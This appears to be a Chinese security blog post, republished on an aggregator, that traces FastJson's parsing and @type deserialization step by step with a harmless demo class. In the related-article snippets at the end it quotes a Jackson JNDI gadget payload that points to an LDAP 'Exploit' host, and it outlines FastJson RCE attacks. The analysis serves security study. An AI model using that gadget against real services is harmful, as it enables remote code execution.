FastJson反序列化分析

这篇具有很好参考价值的文章主要介绍了FastJson反序列化分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本文主要针对FastJson的反序列化过程进行详细分析,以及poc案例分析,留作学习笔记,以供日后复习

前言:网上关于FastJson的分析文章一大片,本文只是笔者在实践操作中理解的一些东西,不算特别详细,留作日后复习,欢迎一起交流

什么是FastJson?
Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。

0x01 反序列化分析

先来看看一张反序列化流程图

FastJson反序列化分析

可以看到其主要的功能都是在DefaultJSONParser类中实现的,在这个类中会应用其他的一些外部类来完成后续操作。ParserConfig主要是进行配置信息的初始化,JSONLexer主要是对json字符串进行处理并分析,反序列化在JavaBeanDeserializer中处理。

本文中会先通过一些简单的案例来帮助理解FastJson在反序列化数据时都做了哪些事情。

先来创建一个类,用于反序列化

package demo2;
import java.util.Properties;
public class User {
private int age;
private String name;
private Properties properties;
public int getAge() {
    System.out.println("getAge()");
    return age;
    }
public String getName() {
    System.out.println("getName");
    return name;
    }
public void setName(String name) {
    System.out.println("setName");
    this.name = name;
    }
public Properties getProperties() {
    System.out.println("getProperties()");
    return properties;
    }
@Override
public String toString() {
    return "User{" +
    "age=" + age +
    ", name='" + name + '\'' +
    ", properties=" + properties +
    '}';
    }
}

然后再来创建一个测试类

package demo2;
import com.alibaba.fastjson.JSON;
public class Demo1 {
public static void main(String[] args) {
    //String strU = "{\"@type\" : \"demo2.User\", \"age\" : 18, \"name\" : \"kevin\", \"properties\" : {}}";
    String strU = "{\"age\" : 18, \"name\" : \"kevin\", \"properties\" : {}}";
    Object obj = JSON.parse(strU);
    System.out.println(obj);
    }
}

无@type分析

我们先来看看默认不加@type的情况下,parse是如何解析字符串的

首先在11行打一个断点,如图
FastJson反序列化分析

然后debug模式启动,进入到parse方法,如图
FastJson反序列化分析

因为一开始只传了一个参数,所以调用重载的parse方法,F7点进去
FastJson反序列化分析

一开始text不为null,进入else方法。可以看到这里创建了一个DefaultJSONParser对象,这里其实做了很多事情,我们一个一个来看,之前我的很大一部分困惑也就是在这里解开的。

先通过F7进入ParserConfig.getGlobalInstance()方法,看看里面做了什么操作
FastJson反序列化分析

可以看到这里返回了一个global对象,global对象就是new ParserConfig()对象,我们看看对象实例化时做了哪些操作。
FastJson反序列化分析

可以看到在无参的构造方法里调用了另外一个构造方法,我们再来看看另外一个构造方法做了什么操作。
FastJson反序列化分析

FastJson反序列化分析

可以看出来,这一步主要就是为ParserConfig对象的成员变量初始化,第二张图就是将相应类型的类和相对应的反序列化器绑定在一起,通过key/value的形式。个人感觉理解这里的操作对后面的过程会比较重要,不然会有点懵。

然后回到JSON.class文件的else判断,我们再进入DefaultJSONParser的构造函数,看看做了哪些操作
FastJson反序列化分析

这里做的操作就多了点,我们一步一步来分析,首先明白input变量就是我们传入parse方法的值,然后我们进入JSONScanner构造函数,传入了input和features
FastJson反序列化分析

可以看到我们进入了JSONScanner.class类中,这里的features不是我们关注的重点,主要看构造函数里做了什么。

先是给this.text成员变量赋值为input,也就是我们需要反序列化的值,然后取出长度赋值给this.len,这里的this.bp是父类的成员变量,我门再JSONScanner类中是看不到定义的,按住Ctrl,然后鼠标左键就可以点进去
FastJson反序列化分析

可以看到是在JSONLexerBase.class类文件中定义的,还有ch变量也是都是我们后面会用到的

回到JSONScanner.class往下走,可以看到调用了this.next(); 我们F7跟进去看看
FastJson反序列化分析

可以看到,先是将this.bp+1然后赋值给index变量,之后通过判断给this.ch赋值并返回,如果index >= this.len,也就是>=我们反序列化的值的长度,返回\u001a,说明读到末尾了,不再继续读了。否则的话,返回this.text.charAt(index),根据index取出text字符串中指定位置的字符并返回。

不难理解,其实每一次调用next()就意味着,遍历获取字符串中的值,然后将这个值返回给this.ch,用于作比较。

然后我们回到DefaultJSONParser.class,进入另外一个构造函数
FastJson反序列化分析

可以看到,核心的初始化都是在这里完成的,这里的int ch = lexer.getCurrent(),我们跟进去看一下
FastJson反序列化分析

可以看到ch的值就是我们反序列化字符串的第一位字符,是通过JSONScanner.class类中的next()方法获取返回的,我们刚刚也分析过。因为JSONScanner继承自JSONLexerBase,所以给this.ch赋值也就等同于给JSONLexerBase的ch变量赋值

然后往下走,因为ch == “{”,所以会进入第一个if判断,获取下一个字符,设置token为12,tonken就是在这里初始化赋值的。

回到创建对象的地方,往下走,我们来看看创建的DefaultJSONParser对象
FastJson反序列化分析

可以看到里面的值都已经初始化好了,这里有一点漏讲了,就是symbolTable中的symbols对象里面的数据也是初始化的时候赋值的,小细节。

然后调用DefaultJSONParser#parse()方法,跟进去
FastJson反序列化分析

将JSONScanner对象赋值给lexer变量,然后switch判断token,通过前面分析已知token为12,所以会进入case 12:里面
FastJson反序列化分析

我们接着跟进构造方法
FastJson反序列化分析

可以看到通过构造方法给JSONObject成员变量this.map赋值为HashMap对象,初始大小为16

回到DefaultJSONParser.class,调用了this.parseObject((Map)object, fieldName); 跟进去
FastJson反序列化分析

因为token为12,所以会进入else方法
FastJson反序列化分析

这里主要还有一个知识点要讲,就是lexer.scanSymbol(this.symbolTable, ‘"’); 这个方法主要作用是做字符截取的操作,截取"key"当中的key,添加并返回key,我们跟进去看看
FastJson反序列化分析

这里主要就是循环截取要反序列化的字符,直到截取到",然后会进入addSymbol方法面对我们传入的字符进行截取,取出"key",中的key值。
FastJson反序列化分析

我们跟进去
FastJson反序列化分析

可以很清楚的看到,根据前面记录的下标位置,截取buffer字符串,也就是获取age字符串然后返回。

后面但凡是调用lexer.scanSymbol(this.symbolTable, ‘"’),都是做这样的处理,截取"中间的值"。
FastJson反序列化分析

可以看到value的值为age,后面是一样的操作,就不重复截图了。然后会将value的值也取出来,最后存放到map集合中,也就是JSONObject对象中
FastJson反序列化分析

直到遇到"}",表示到结尾了,会将JSONObject对象返回
FastJson反序列化分析

最后会回到JSON#parse方法中,返回封装后的JSONObject对象
FastJson反序列化分析

至此,不加@type情况下的反序列化解析就分析完了,看控制台输出
FastJson反序列化分析

加@type分析

也是一样debug,进入parse方法
FastJson反序列化分析

初始化我们前面讲过了,就不多说了,接着往下走,进入parser.parse()方法
FastJson反序列化分析

这时会调用DefaultJSONParser#parseObject,跟进去
FastJson反序列化分析

这里会对字符串进行截取,按照上面分析的"@type",通过lexer.scanSymbol(this.symbolTable, ‘"’); 将@type截取出来,作为key,接着往下看
FastJson反序列化分析

往下会有一个判断,因为key == JSON.DEFAULT_TYPE_KEY,所以会进入该方法,通过同样的截取字符串的方式,将"demo2.User"中的demo2.User截取出来,赋值给ref,这也就是我们可控的类。

然后会调用TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); 通过类加载器加载类并返回对应的类对象,我们跟进去看看
FastJson反序列化分析

可以看到经过一些列判断,最后会进入else方法,然后通过当前线程获取类加载器,加载我们指定的类,最后返回类对象,这里其实就是后期绕过autoType的地方,不过现在我们不深究。

然后我们回到DefaultJSONParser#parseObject
FastJson反序列化分析

可以看到这里会调用ParseConfig#getDeserializer方法,根据给定类型返回指定的反序列化器,我们跟进去看看
FastJson反序列化分析

这里时根据type类型,去this.derializers.get(type) 中取相对应的反序列化器,如果没有,返回null,这个this.derializers 我们上面有分析过,将指定类型作为key,指定类型的反序列化器作为value存到了IdentityHashMap集合中。

接着往下走
FastJson反序列化分析

因为type类型为Class,所以进入方法,调用this.getDeserializer((Class)type, type),我们继续跟进去
FastJson反序列化分析

程序一路向下,进入到else,因为className为demo2.User所以不会退出,接着往下
FastJson反序列化分析

又经过了一些列类型判断,因为都不匹配,所以会走到else,调用this.createJavaBeanDeserializer(clazz, (Type)type),我们跟进去看看
FastJson反序列化分析

前面一些不重要的步骤跳过了,因为asmEnable为true,所以会进入if方法,调用JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy),这个方法也很关键,封装成员变量和方法等操作都是在这个方法里完成的,我们得跟一下
FastJson反序列化分析

可以看到这里通过反射将我们传入的clazz,也就是demo2.User的类对象中的所有成员变量和所有public的方法都获取了出来,继续往下看
FastJson反序列化分析

这里就是通过循环将所有的方法都取出来,进行相应的判断,符合条件的才会被添加到List fieldList = new ArrayList() 这个list集合中,留作后续处理,这里应该也就是网上分析最多的一个地方了吧。

我们把代码拷贝出来,看一看完整的判断是什么样的
FastJson反序列化分析

这个不难理解,就不过多分析,从我们给出的测试类来看,满足条件的只有public void setName(String name)方法,因为方法名称大于4,非静态方法且返回值类型为void,其他的几个方法在这个判断中是不成立的,所以不会进入该方法。
FastJson反序列化分析

可以看到和我们分析的一样,setName进入了if方法,接着往下走
FastJson反序列化分析

可以看到这里还有个判断,如果方法名以set开头,则进入该方法
FastJson反序列化分析

接着往下会看到,通过substring截取,将Name的N转换为小写n,然后截取n后面的字符,就是提取属性名,赋值给propertyName。

然后调用TypeUtils.getField(clazz, propertyName, declaredFields),我们跟进去
FastJson反序列化分析

可以看到通过遍历成员变量,和我们传入的名称做判断,如果相匹配则返回名称相对应的成员变量对象
FastJson反序列化分析

再往下我们可以看到,field已经赋值为相对应的成员变量对象了,然后调用add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null)) 方法,将这些类里面的信息都存入fieldList中,我们先跟到FieldInfo构造方法中
FastJson反序列化分析

可以看到在构造方法里面给成员变量赋值,可以看到有哪些参数,接着往下
FastJson反序列化分析

可以看到这里进行了一些访问权限设置,然后回到for循环
FastJson反序列化分析

可以看到封装好的FieldInfo对象里面包含哪些对象

之后会继续循环判断,知道方法都判断完,然后会往下走,还有一个for循环和一个判断
FastJson反序列化分析

也是一样拷贝出来,分析一下
FastJson反序列化分析

和前面的判断有点小区别,可以看出这个主要是针对get方法的,我们的测试类中,符合条件的只有public Properties getProperties() 方法,非静态,方法名长度大于4且第四个字符为大写,无形参,最后返回值类型是属于Map,因为Properties extends Hashtable -> Hashtable implements Map,所以满足要求
FastJson反序列化分析

可以看到进到了if方法里,接着往下走
FastJson反序列化分析

可以看到也是一样的操作,对数据进行封装,添加到fieldList集合中
FastJson反序列化分析

可以看到也是和name是一样的,后面的循环就不截图了,可以直接跳出方法回到beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy) 方法
FastJson反序列化分析

可以看到返回的beanInfo对象,封装了类中的一些成员变量和方法对象
FastJson反序列化分析

接着往下走,会在这里创建一个JavaBeanDeserializer对象,我们跟进去
FastJson反序列化分析

这里的this.sortedFieldDeserializers我们要留一下,它是一个FieldDeserializer[]数据对象,我们后面会用到。
FastJson反序列化分析

这里就是通过遍历JavaBeanInfo对象中的成员变量sortedFields数组中的FieldInfo对象,使用config.createFieldDeserializer(config, beanInfo, fieldInfo) 创建FieldDeserializer对象,之后存入this.sortedFieldDeserializers数组中,以供后续使用
FastJson反序列化分析

可以看到返回的是一个DefaultFieldDeserializer对象
FastJson反序列化分析

回到ParseConfig#getDeserializer,可以看到返回的是JavaBeanDeserializer对象
FastJson反序列化分析

再回到DefaultJSONParser#parseObject 方法,可以看到调用了deserializer.deserialze(this, clazz, fieldName),继续跟进去

由于这段代码实在是又臭又长,所以截取核心功能代码
FastJson反序列化分析

这个方法是通过反射将属性的值设置到相应的对象上,我们跟进去
FastJson反序列化分析

这里也有个小知识点,this.smartMatch(key) 方法会对key做一些处理,我们跟进去看一下
FastJson反序列化分析

可以看到如果key的第一个字符为 _ 或者 - ,那么将会被替换为空,这也就解释了为什么有些payload会在变量名上加一个 _ 了,加不加都不受影响
FastJson反序列化分析

可以看到这里也调用了一次parseField(parser, object, objectType, fieldValues)方法,这里的Object为我们指定反序列化的User类,成员变量还没赋值,跟进去
FastJson反序列化分析

可以看到是根据特定的类型获取的特定反序列化器,因为name是String类型,所以获取的就是StringCodec
继续往下走
FastJson反序列化分析

到了关键的一步,我们跟进去
FastJson反序列化分析

先是做了不为空和类权限判断,然后获取方法对象,因为前面条件都不满足,所以进入else,通过反射调用User对象的setName方法,给成员变量赋值
FastJson反序列化分析

可以看到已经成功为name变量赋值,并且触发了setName方法
FastJson反序列化分析

然后我们再来看看properties的赋值
FastJson反序列化分析

跟进去,直接进入核心方法
FastJson反序列化分析
FastJson反序列化分析

因为getProperties方法的返回值符合这条判断,所以会进入该方法,通过反射执行getProperties方法,这也就解释了TemplatesImpl反序列化利用链是如何触发的了。
FastJson反序列化分析

可以看到触发了getProperties方法

最后反序列化利用链我有时间再写吧,太晚了,其实能把这一套看懂,反序列化利用链也就没什么问题了,就是解析时触发了特定的方法而已

完结撒花

最后附上借鉴的博客
Fastjson 流程分析及RCE分析
FastJson 反序列化学习

可能还有一些,没记录,学习就是这样,付出越多回报也才越多!

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

公众号:伟盾网络安全

专注网络安全,用心做好安全这件事。

个人博客:博客

个人知乎:知乎文章来源地址https://www.toymoban.com/news/detail-464353.html

到了这里,关于FastJson反序列化分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 关于fastjson序列化失败的问题

    com.alibaba.fastjson2.JSONArray cannot be cast to com.alibaba.fastjson2.JSONArray 我们使用若依的架子把common抽离出来一个jar包,导致从redis中序列化出错 这是由于springboot-devtools 使用restartClassLoader加载了JSONArray 而上层controller中的JSONArray依然是AppClassLoader,两个不同的类加载器加载的JSONArray没法

    2024年02月13日
    浏览(33)
  • Fastjson反序列化漏洞复现小结

    简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。 1、Fastjson1.2.24远程代码执行(CNVD-2017-02833 ) 2、Fastjson=1.2.47远程代码执行漏洞(CNVD-2019-22238) 3、Fstjson =1.2.60 远程代码执行漏洞

    2023年04月08日
    浏览(36)
  • Fastjson反序列化漏洞原理与复现

    Fastjson是java的一个库,可以将Java对象转化为json格式的字符串,也可以将json格式的字符串转化为Java对象。 Fastjson提供了 toJSONString() 和 parseObject() 方法来将Java对象与JSON相互转换。调用 toJSONString() 方法即可将对象转换成 JSON 字符串, parseObject() 方法则反过来将JSON字符串转换成

    2024年02月12日
    浏览(43)
  • FastJson中AutoType反序列化漏洞

    Fastjson1.2.80 反序列化漏洞情报,攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson=1.2.83的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此

    2024年02月07日
    浏览(37)
  • Fastjson反序列化远程代码执行漏洞

    据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。 先贴一个解决漏洞的方案: 不过任何升级一

    2024年02月09日
    浏览(35)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(34)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(40)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(34)
  • Jackson--FastJson--XStream--代码执行&&反序列化

    2.0.0 = FasterXML jackson-databind Version = 2.9.10.2 不受影响版本 FasterXML jackson-databind = 2.8.11.5 FasterXML jackson-databind = 2.9.10.3 POC: String json = \\\"[\\\"org.apache.xbean.propertyeditor.JndiConverter\\\", {\\\"asText\\\":\\\"ldap://localhost:1389/Exploit\\\"}]\\\"; FasterXML jackson-databind 2.x 2.9.10.8 POC String payload = \\\"[\\\"com.oracle.wls.shaded.org.apa

    2024年02月08日
    浏览(39)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包